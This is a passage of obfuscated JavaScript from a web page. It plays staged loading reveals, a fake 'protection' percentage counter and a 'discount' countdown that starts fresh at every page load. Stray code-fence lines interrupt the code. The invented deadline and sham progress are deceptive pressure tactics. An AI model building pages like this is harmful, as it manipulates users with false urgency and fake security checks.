        const _0x226b75 = _0x4bed7a[_0x1783b1];
        _0x226b75.style.display = "flex";
    }
    setTimeout(runStep5, 20000);
    function _0x43350f() {
        let _0x1eefd5 = document.getElementById("counter_protection");
        let _0x31d512 = 0;
        const _0x3cda54 = setInterval(() => {
            _0x31d512++;
            _0x1eefd5.innerText = _0x31d512 + '%';

```

```

        if (_0x31d512 >= 100) {
            clearInterval(_0x3cda54);
        }
    }, 175);
}
_0x43350f();
setTimeout(() => {
    let _0x39ffb2 = document.getElementById("mute2");
    _0x39ffb2.style.display = "none";
}, 5000);
setTimeout(() => {
    const _0x4acb86 = {
        iiYbF: "load4"
    };
    _0x4acb86.EWoTD = "flex";
    let _0x511191 = document.getElementById("load2");
    _0x511191.style.display = "flex";
}, 5000);
setTimeout(() => {
    let _0x5346f6 = document.getElementById("mute3");
    _0x5346f6.style.display = "none";
}, 10000);
setTimeout(() => {
    let _0x4e9883 = document.getElementById("load3");
    _0x4e9883.style.display = "flex";
}, 10000);
setTimeout(() => {
    let _0x55f338 = document.getElementById("mute4");
    _0x55f338.style.display = "none";
}, 13000);
setTimeout(() => {
    let _0x2a96da = document.getElementById("load4");
    _0x2a96da.style.display = "flex";
}, 13000);
setTimeout(() => {
    let _0x182c58 = document.getElementById("mute5");
    _0x182c58.style.display = "none";
}, 17000);
setTimeout(() => {
    let _0x554b8f = document.getElementById("load5");
    _0x554b8f.style.display = "flex";
}, 17000);
}

```

```

function runStep5() {
  let _0x25c273 = document.getElementsByClassName("step5");
  for (let _0x768049 = 0; _0x768049 < _0x25c273.length; _0x768049++) {
    const _0x19913b = _0x25c273[_0x768049];
    _0x19913b.style.display = "flex";
  }
  var _0x562e34 = new Date();
  var _0x4399c4 = new Date();
  _0x4399c4.setMinutes(_0x562e34.getMinutes() + 3);
  _0x4399c4.setSeconds(_0x562e34.getSeconds() + 55);
  var _0x4bcd65 = setInterval(function () {
    var _0x272d4c = new Date().getTime();
    var _0x1ed8fd = _0x4399c4 - _0x272d4c;
    var _0x152bd8 = Math.floor(_0x1ed8fd % 3600000 / 60000);
    var _0x1d0fa2 = Math.floor(_0x1ed8fd % 60000 / 1000);
    document.getElementById("mins").innerText = _0x152bd8;
    document.getElementById("secs").innerText = _0x1d0fa2;
    if (_0x1ed8fd < 0) {
      clearInterval(_0x4bcd65);
      document.getElementById("discount_timer").innerHTML = "EXPIRED";
    }
  }, 100);
}
function visual() {
  if (document.body.style.opacity == 0) {
    document.body.style.opacity = 1;
  } else {
    document.write();
  }
}
</script>
</body>
</html>

```